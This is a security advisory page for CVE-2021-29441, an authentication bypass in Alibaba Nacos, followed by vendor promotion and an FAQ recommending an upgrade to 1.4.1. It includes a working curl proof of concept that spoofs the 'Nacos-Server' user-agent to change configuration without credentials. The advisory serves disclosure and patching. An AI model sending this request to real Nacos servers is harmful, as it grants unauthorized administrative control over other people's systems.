Summary
Authentication Bypass
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2021-29441? CVE-2021-29441 is a high-severity security vulnerability in com.alibaba.nacos:nacos-common (maven), affecting versions < 1.4.1. It is fixed in 1.4.1.
- Which versions of com.alibaba.nacos:nacos-common are affected by CVE-2021-29441? com.alibaba.nacos:nacos-common (maven) versions < 1.4.1 is affected.
- Is there a fix for CVE-2021-29441? Yes. CVE-2021-29441 is fixed in 1.4.1. Upgrade to this version or later.
- Is CVE-2021-29441 exploitable, and should I be worried? Whether CVE-2021-29441 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2021-29441 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2021-29441? Upgrade
com.alibaba.nacos:nacos-commonto 1.4.1 or later.